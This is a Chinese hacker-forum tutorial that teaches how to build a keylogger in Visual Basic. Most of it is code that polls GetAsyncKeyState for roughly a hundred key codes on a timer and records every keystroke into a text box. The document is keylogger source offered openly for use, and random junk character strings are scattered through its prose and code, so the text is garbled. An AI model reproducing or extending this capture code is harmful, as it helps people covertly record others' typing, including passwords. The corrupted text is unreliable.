手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， , o! @0 c1 c/ d6 N对新人没什么用处，所以且这篇我会写的 ' e- ^( j- }9 p4 C" R0 L/ e很详细，再也不像那篇，出了代码什么也没 ^!^ . k* H7 q/ t+ d2 Y \ ], Q) s这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 : W+ p3 g) V- X. ?GetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， * H% R1 g$ w4 G" L C即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 7 ~" q l! P0 `, E7 |6 D & v1 g# O! }( O! x: m" v) j 5 k, y% f# Q' ]/ y1 L, L, I, D 在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then , X" s+ C7 U' {" H( z: j) v AddKey = "[ENTER]" GoTo KeyFound 0 J- m8 N O/ y% J' ?0 J6 B; V End If / p( ~0 Q3 g# I6 c+ U: ^0 Q& | KeyResult = GetAsyncKeyState(17) 'Ctrl键 ( z- k' ^8 A8 c2 l If KeyResult = -32767 Then 2 Y; e, s7 g. f5 T5 r AddKey = "[CTRL]" GoTo KeyFound , |8 N1 Z) {/ H, }" W" r End If KeyResult = GetAsyncKeyState(8) '退格键 0 G8 J- i6 o# z* W ^. e3 Y If KeyResult = -32767 Then AddKey = "[BKSPACE]" GoTo KeyFound End If 4 t2 S- D1 V) G 7 {& A. W1 x! U- M( @! Q7 M KeyResult = GetAsyncKeyState(9) If KeyResult = -32767 Then 3 ^2 u0 ]' L, b; x AddKey = "[TAB]" # n/ b/ u& E0 J( h- m GoTo KeyFound End If * D7 z$ q e& ? ' V& N; d& `% E" q" I* D KeyResult = GetAsyncKeyState(18) / ?, o0 O$ E7 c( h5 P4 t4 H2 ] If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound 3 e& p7 B0 G7 R4 ?! C8 I End If ' t8 v9 x' E! `% [ KeyResult = GetAsyncKeyState(19) " ?8 Z4 o; Y8 Z0 \9 K$ x If KeyResult = -32767 Then AddKey = "[PAUSE]" 6 `8 ^. ~9 E2 a% @+ A) {# @ GoTo KeyFound End If KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = "[CAPS]" GoTo KeyFound 3 _5 Z! M7 |) a1 G/ P6 L" M! K End If ) c0 }9 X: S1 j5 c! D5 ^! | KeyResult = GetAsyncKeyState(27) 4 g( y' ~2 Y0 `) ]/ f If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound End If ) U- T* ]$ w$ L8 @3 e KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound End If ( k2 e5 f4 s& J8 o* E3 m e KeyResult = GetAsyncKeyState(34) 1 X: T9 y' T1 A3 P6 Z9 _ If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(35) : U, d$ Z7 s3 U( w5 i3 r4 X/ q# K z8 g If KeyResult = -32767 Then L# w' C9 J8 G+ y2 N AddKey = "[END]" & w, ~3 ^' `1 Y* c9 d0 ] GoTo KeyFound End If KeyResult = GetAsyncKeyState(36) $ o% A3 d! C3 j5 M If KeyResult = -32767 Then AddKey = "[HOME]" GoTo KeyFound End If ( S, \3 O% h5 l. O/ G 3 a* u' G4 x" p& o* L; g KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then 1 ]: z% Q, ~) _9 F: `3 r: T6 @+ w AddKey = "[SYSRQ]" 4 F5 g' |+ I7 i# y! I b3 E3 s GoTo KeyFound End If 7 ?$ X8 `* K* C: c" h* D' d; G KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then 3 D/ @( U; M0 m/ i, G AddKey = "[INS]" GoTo KeyFound End If 6 B; ]( ~" {7 P V" Q% s KeyResult = GetAsyncKeyState(46) 9 @) V1 C6 C* z/ c4 f If KeyResult = -32767 Then 6 e+ ^( |) V% E/ M: }" c3 `$ Y- N AddKey = "[DEL]" % a* ]/ S- s) P8 l* A( U. d GoTo KeyFound 0 w, i. o. e6 A- B" Q5 G4 N8 J End If 0 O+ \5 n3 J' |9 S KeyResult = GetAsyncKeyState(144) & A' N; Z' n4 T' F) ~ If KeyResult = -32767 Then . E3 \1 d3 P' }9 A1 R. ~/ e, g AddKey = "[NUM]" ! O2 a; ]+ [4 y GoTo KeyFound End If KeyResult = GetAsyncKeyState(37) 0 I+ Z! a1 J* @( E* p If KeyResult = -32767 Then F% i2 i+ `9 j% E# Y AddKey = "

" ! w2 E4 u: F$ N( G GoTo KeyFound : D3 [5 J; J W, j$ E& C0 D% I' h. G End If KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then AddKey = "[UP]" GoTo KeyFound End If 0 I9 T) ]( j( i; | 9 b, M% F( |" N! C+ H g. C KeyResult = GetAsyncKeyState(39) $ n5 M" `& X5 ~" S. W& ^+ S If KeyResult = -32767 Then AddKey = "

" 0 G( d7 g( c' |3 Z GoTo KeyFound ; U* s A& {9 @! J, r End If 8 o3 o# d2 Y2 g% Y& q KeyResult = GetAsyncKeyState(40) / V7 B5 z* Z6 F* C If KeyResult = -32767 Then & F! u2 e, B. j/ T6 D5 H7 E( X/ K AddKey = "[DOWN]" $ Z3 \$ X" q( x7 s4 v GoTo KeyFound % p! _0 N+ q" g. e% g' l End If : O4 U5 z& W4 Q3 r 5 ^1 n$ m4 H1 m) [) q) n( D9 y/ s KeyResult = GetAsyncKeyState(112) 0 o R* x1 d- T; J2 C3 z0 J If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(113) 0 C. P% b9 o: f# V$ Q+ T9 I) o2 z, G; B If KeyResult = -32767 Then # o3 t5 H+ m+ l: l! ~) D AddKey = "[F2]" GoTo KeyFound ) F) _! y4 z, p8 r End If s4 ?# ^, _4 z& h( U! E# Y KeyResult = GetAsyncKeyState(114) 4 k8 j/ K, R% ~ G! m If KeyResult = -32767 Then * Z2 ]+ a2 X3 u3 T7 O. i' H& ~4 c$ t AddKey = "[F3]" 8 G9 ?5 Q# Y3 T" C9 P6 ` GoTo KeyFound End If + F) {$ l- t! j; b- | j+ A2 GKeyResult = GetAsyncKeyState(115) 1 B: B5 r3 _/ Z/ L If KeyResult = -32767 Then AddKey = "[F4]" 6 {/ P5 x- }# R GoTo KeyFound ! J) v" N" Y$ W P, j; R( n End If ) z; q$ [- e/ [% s - X, H5 T0 p5 P( L7 [# F5 SKeyResult = GetAsyncKeyState(116) . r6 z0 C) U d If KeyResult = -32767 Then AddKey = "[F5]" , M* X: m' N. n7 a. Y GoTo KeyFound * ?' x3 Z7 n- n/ V End If . k# t0 B5 h! O/ RKeyResult = GetAsyncKeyState(117) If KeyResult = -32767 Then 9 k; s4 W$ e) `- x4 ` AddKey = "[F6]" GoTo KeyFound ) ]; W( _8 S* I4 _" U2 Y+ A9 X End If 4 {1 N5 I. L, c0 ~" o6 D! [ : [% @: h3 \, ^' d' B* k9 PKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(119) * Q7 Q1 N! J- D& r. }+ i If KeyResult = -32767 Then ) x& s4 @4 ~& k$ d AddKey = "[F8]" GoTo KeyFound 5 n) S* f. K9 R' U. s End If 0 _ T1 p0 O- r1 j7 d8 EKeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then ) R1 C6 s! P1 `# V" C9 \# H AddKey = "[F9]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(121) ' U, h: ~4 K( G& {3 r/ |, U If KeyResult = -32767 Then AddKey = "[F10]" GoTo KeyFound End If * @! R5 |9 T3 Q: M" c+ T1 c 3 n2 U' w9 z4 H0 U. I0 cKeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" GoTo KeyFound End If 8 X3 v+ T' B' n7 _9 }) X0 ^- ] % S1 t% j) X; aKeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]" GoTo KeyFound End If : O# k! @7 o6 G5 ^, n KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then % L( h0 `) M9 a- a/ J6 F* z AddKey = "[F13]" , N |# b8 y8 @- C GoTo KeyFound End If & T8 w4 A+ D& M2 ]- k1 D# H 2 {0 D; G( P4 O# KKeyResult = GetAsyncKeyState(125) % P4 [- F4 r) |& K6 N- K: Q If KeyResult = -32767 Then ( A! q' d; X7 Y# ^! y" O AddKey = "[F14]" GoTo KeyFound , p+ s2 C. Y9 t; V End If ' J7 q3 X! \4 `+ S$ u7 nKeyResult = GetAsyncKeyState(126) # Q W( k! l$ F( @+ `; c If KeyResult = -32767 Then 4 w) J% G ]8 {- {1 m1 S AddKey = "[F15]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then 2 v; L B9 l3 S AddKey = "[F16]" 5 H0 Z0 w2 _* |9 `; r9 g. l) r GoTo KeyFound End If 3 K7 ^+ A* ^3 N; \8 }2 m- R KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then ( [! W+ b# |' V0 Q8 e9 D- ? AddKey = " " * o% G- N2 l3 ? GoTo KeyFound End If KeyResult = GetAsyncKeyState(186) # }6 q; B9 e' I7 e If KeyResult = -32767 Then * }% h0 z" B! N0 v9 h AddKey = ";" GoTo KeyFound End If ) T0 ^1 X* o+ C, B$ G* a # H5 O& J8 {0 h0 i# k6 BKeyResult = GetAsyncKeyState(187) 5 N! K/ ]+ O: [ If KeyResult = -32767 Then 2 M [: q. i1 \ z& b AddKey = "=" GoTo KeyFound End If 5 Z* r+ E* ]; x0 GKeyResult = GetAsyncKeyState(188) 0 a( L$ u; w" }/ [1 } If KeyResult = -32767 Then AddKey = "," GoTo KeyFound End If ( B8 M( z( ^& n$ e: O3 {7 DKeyResult = GetAsyncKeyState(189) 3 M3 Q2 L2 n+ P0 t: V F If KeyResult = -32767 Then 3 Z6 I+ T; R; p- W3 N# B0 M3 v7 P AddKey = "-" - P; z/ f6 N8 w GoTo KeyFound End If * s- @4 j. K8 d& k# t" ~KeyResult = GetAsyncKeyState(190) If KeyResult = -32767 Then & }7 e6 F) n Y0 r; Y- e AddKey = "." ' T& ^. A3 f- A$ X9 p( }( e GoTo KeyFound % d+ Q: T! f+ ]. R End If % _! B, J; i1 y/ _% L* G2 @ KeyResult = GetAsyncKeyState(191) " s7 L$ ]. m: G+ P2 C If KeyResult = -32767 Then 5 ~. J9 A- G. ~1 C AddKey = "/" '/ 8 \9 x/ ?1 f3 d; U, k. n GoTo KeyFound End If 8 O& z4 D5 ?9 E& ] KeyResult = GetAsyncKeyState(192) % r! @! O0 l: d: I4 A9 M, ?% Z If KeyResult = -32767 Then AddKey = "`" '` GoTo KeyFound * b, }3 M/ M: P; t; x End If + C! M1 k+ r# |5 E v6 ` 3 V$ Z$ B: x; i3 _( B: q 2 ]" k' y( Q: l1 p1 R5 @) W'----------NUM PAD ( b- c- u/ v1 U3 R, M& e UKeyResult = GetAsyncKeyState(96) 1 `0 x- A/ ]" W If KeyResult = -32767 Then AddKey = "0" ) R( d- K" @! w1 j" t% Y5 g. }+ o3 Q GoTo KeyFound ! L, ]& P0 P) Y/ {0 R End If 4 r0 x c7 a! z# {, z+ U) J$ WKeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then ' r; ^; u& T2 W4 C AddKey = "1" GoTo KeyFound , e" y9 d# V* z) Z) R+ u- O End If 4 w: T$ V3 H7 B# M. N; ^! iKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" GoTo KeyFound End If - J* ^, q4 p; N5 h tKeyResult = GetAsyncKeyState(99) 1 S$ I* I4 C" l0 h; Z( V( F If KeyResult = -32767 Then / w) O* m! }7 E AddKey = "3" ! e$ I' {4 a9 N! k GoTo KeyFound End If " Q) o$ W `% z2 l& h, U: Q( ` 3 J( b1 U- y5 i: D8 E* | . _. [2 U) L* q& l, E I oKeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then ) q" L$ ], G2 Q* J1 t AddKey = "4" # v" p. u# |$ z4 e! U+ @% s0 s GoTo KeyFound End If KeyResult = GetAsyncKeyState(101) # l! n, C; ~0 o1 T/ t If KeyResult = -32767 Then AddKey = "5" 8 d/ \& j; J; h/ T GoTo KeyFound End If KeyResult = GetAsyncKeyState(102) 7 ]0 H6 G0 X% V) S" U5 o If KeyResult = -32767 Then AddKey = "6" GoTo KeyFound ! `8 f' a0 e% g5 s End If ) ^. ?2 @' z+ K- B! x& mKeyResult = GetAsyncKeyState(103) 2 e* H# @/ E* z4 o' c3 f# G3 |7 D If KeyResult = -32767 Then " `' _" `# m% n% {+ w; l AddKey = "7" ! L2 Q9 b* @! c$ N. W* Q* a& `, d GoTo KeyFound 4 |# Z2 Z1 |2 s3 Q- x% R End If . k. F% q4 K$ m7 o7 j/ w* l - @2 S0 I* p3 P: ~# Z6 Q6 R% D KeyResult = GetAsyncKeyState(104) # r8 @( S M9 U0 K* m2 F- _- Y& f0 c If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound 1 B9 [+ t! d9 d3 v2 Z. u2 X End If 8 [# h* r. J) r4 R; M5 \% j KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound End If ( l, w) J4 F- Q' O KeyResult = GetAsyncKeyState(106) If KeyResult = -32767 Then * t1 e. k/ F5 N+ @- f# V AddKey = "*" GoTo KeyFound End If 6 G7 a1 P' z* s/ B1 o8 ]. R* h KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then 1 `$ `4 ]3 e7 C3 } AddKey = "+" GoTo KeyFound % ?$ ]6 G- R( W7 i5 G8 e End If KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then ( }) S2 a' A% v/ q" L' v AddKey = "[ENTER]" ! o( L9 r1 N* d GoTo KeyFound 9 Z8 x* y: g" c+ @1 A End If ! E! C8 B- _+ \) ]: e: ~* s$ ` 3 P: h) M) E$ h% M! z% {- KKeyResult = GetAsyncKeyState(109) ' D- x( H( l/ P k* b If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If . \1 [. U0 W/ i4 _8 x: sKeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then 9 s: l1 e5 i1 T# v# ^8 b8 z AddKey = "." ' t0 Y {3 ?, W1 C GoTo KeyFound End If KeyResult = GetAsyncKeyState(2) 6 k% T# q5 d; p If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If KeyResult = GetAsyncKeyState(220) * e4 a# k: R; O If KeyResult = -32767 Then AddKey = "\" ' @6 p1 I# e L6 @+ O) O* c4 j0 [ GoTo KeyFound 4 m5 f' Y" w/ U, I! j; [ End If + f1 V$ } K, l" A: w4 R4 o9 | + |1 j1 k- ]' o2 [0 l2 xKeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then 5 D% x# f' e5 a- U6 o( Z AddKey = "'" e4 M+ l4 f" ]9 j3 ^# r& x GoTo KeyFound 1 t2 `* H: C! J* g% u! n! h/ F& Z End If - Q$ q% } r& \% n. qKeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" * t8 @# u, \. I GoTo KeyFound ) }4 ?4 c5 D2 [1 l# o End If KeyResult = GetAsyncKeyState(219) If KeyResult = -32767 Then AddKey = "[" 9 h V+ v; R! D4 x& q8 [ GoTo KeyFound 1 Y1 _. u( Z+ K6 e) T0 l End If ! ~) g6 A+ X% I) O" D9 XKeyResult = GetAsyncKeyState(16) 'shift键 6 O$ V! c% K% o. W: Y2 F0 H# D If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" ' l. u. K0 j+ Y LastKey = AddKey TimeOut = 1 GoTo KeyFound End If KeyLoop = 41 ! V& v* d$ a6 `% u7 A ( n$ {' \% C1 r& v; k' m4 b Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) 3 v7 V& }1 K8 h6 v/ W5 [ KeyLoop = KeyLoop + 1 Loop * v* w3 j( V* G7 q2 d! M- B) R' M LastKey = AddKey Exit Sub KeyFound: '显示键的信息 & O# [/ h1 \2 VText1 = Text1 & AddKey End Sub / W! d$ J! W% b# U6 l上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… . q; }: L* u8 h6 N; W8 U# z由于数目太多，一一列举不方便 现提供Ascii表一份供对照 , j) ~! @, v% J4 Shttp://www.cstudy.cn/repository/ascii/default.htm : R* x! p; o. V% f) @# f+ b下面是其他的事件 }& r; O1 m$ U+ }% i vPrivate Sub Timer2_Timer() TimeOut = 0 & L. g# _- E- ^* B) @1 L/ V: vEnd Sub 目的是随时刷新清空 - `0 G) w/ b% ~. K& k